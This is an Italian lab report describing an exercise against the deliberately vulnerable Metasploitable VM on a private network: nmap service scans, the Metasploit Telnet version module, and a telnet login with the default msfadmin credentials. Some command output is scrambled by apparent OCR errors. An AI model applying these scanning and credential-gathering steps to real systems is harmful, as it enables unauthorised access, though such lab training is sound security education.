## REPORT EXPLOIT TELNET-

## METASPLOITABLE

La macchina Metasploitable presenta un servizio Telnet su porta 23, che trasferisce il traffico su canale non cifrato, dando la possibilità ad un utente malintenzionato di rubare informazioni sensibili quali username, password e comandi scambiati tra client e server.

In questo caso specifico, verrà sfruttata proprio questa vulnerabilità dal tool Metasploit. Cambiamo gli indirizzi IP di entrambe le macchine:

192.168.1.40 per Metasploitable

192.168.1.25 per Kali Linux

```
# The loopback network interface
iface lo inet loopback
                                                     # The primary network interface
auto eth0
                                                     auto eth0
iface eth0 inet static
                                                     iface eth0 inet static
address 192.168.1.25/24
                                                     address 192.168.1.40
netmask 255.255.255.0
                                                     netmask 255.255.255.0
network 192.168.1.0
                                                     network 192.168.1.0
broadcast 192.168.1.255
                                                     broadcast 192.168.1.255
gateway 192.168.1.1
                                                     gateway 192.168.1.1
```

Necessario sarà testare la connessione tra le macchine tramite ping

```
(kali⊗ kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.861 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.782 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.729 ms
```

Tramite uno scan con tool Nmap controlliamo i servizi attivi sulle porte dell'indirizzo target ed in seguito, se ne effettuerà uno specifico per la porta d'interesse in questo caso la porta numero 23

```
-sV 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 04:46 EST Nmap scan report for 192.168.1.40
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (conn-refused)
         STATE
PORT
                   SERVICE
                                 VERSTON
         open
                    ftp
                                 vsftpd 2.3.4
                                OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
         open
                   ssh
                                Linux telnetd
23/tcp
                   telnet
         open
25/tcp
                                Postfix smtpd
         open
                    smtp
53/tcp
                   domain
                                 ISC BIND 9.4.2
         open
80/tcp
                                 Apache httpd 2.2.8 ((Ubuntu) DAV/2)
                   http
         open
                   rpcbind
                                2 (RPC #100000)
111/tcp
         open
                   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
         open
445/tcp
         open
512/tcp
                                netkit-rsh rexecd
                    exec
         open
513/tcp
                   login?
         open
         open
                    shell
                                 Netkit rshd
1099/tcp open
                    java-rmi
                                GNU Classpath grmiregistry
1524/tcp filtered
                    ingreslock
2049/tcp open
                                 2-4 (RPC #100003)
                                ProFTPD 1.3.1
2121/tcp open
                    ftp
                                MySQL 5.0.51a-3ubuntu5
3306/tcp open
                   mysql
                   postgresql PostgreSQL DB 8.3.0 - 8.3.7
5432/tcp open
5900/tcp open
                                 VNC (protocol 3.3)
6000/tcp open
                                 (access denied)
6667/tcp open
                                 UnrealIRCd
                                Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1
8009/tcp open
                   ajp13
8180/tcp open
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.99 seconds
   -(kali⊛kali)-[~]
* nmap -A -p 23 192.168.1.40

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 04:48 EST
Host is up (0.00041s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.58 seconds
```

A questo punto apriamo Metasploit tramite msfconsole, cercando il modulo di exploit ausiliario richiesto, in questo caso auxiliary/scanner/telnet/telnet version

```
### Anne

### An
```

L'exploit necessario in questo caso sarà al numero 35 dell'elenco .

Opportuno sarà il controllo dei parametri da settare con 'show options', e completiamo i campi 'required' ossia obbligatori.

Una volta settate inserendo l'Ip di Metasploitable, procediamo con comando 'exploit'



Sarà stato possibile ottenere username/password per

login di Metasploitable.

Inoltre, sempre importante e necessario effettuare un test per assicurarsi che l'exploit sia andato a segno e/o per completarlo.

```
[*] Auxiliary module execution completed
                                           on) > telnet 192.168.1.40
msf6 auxiliary(
[*] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40. Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Dec 6 04:11:08 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```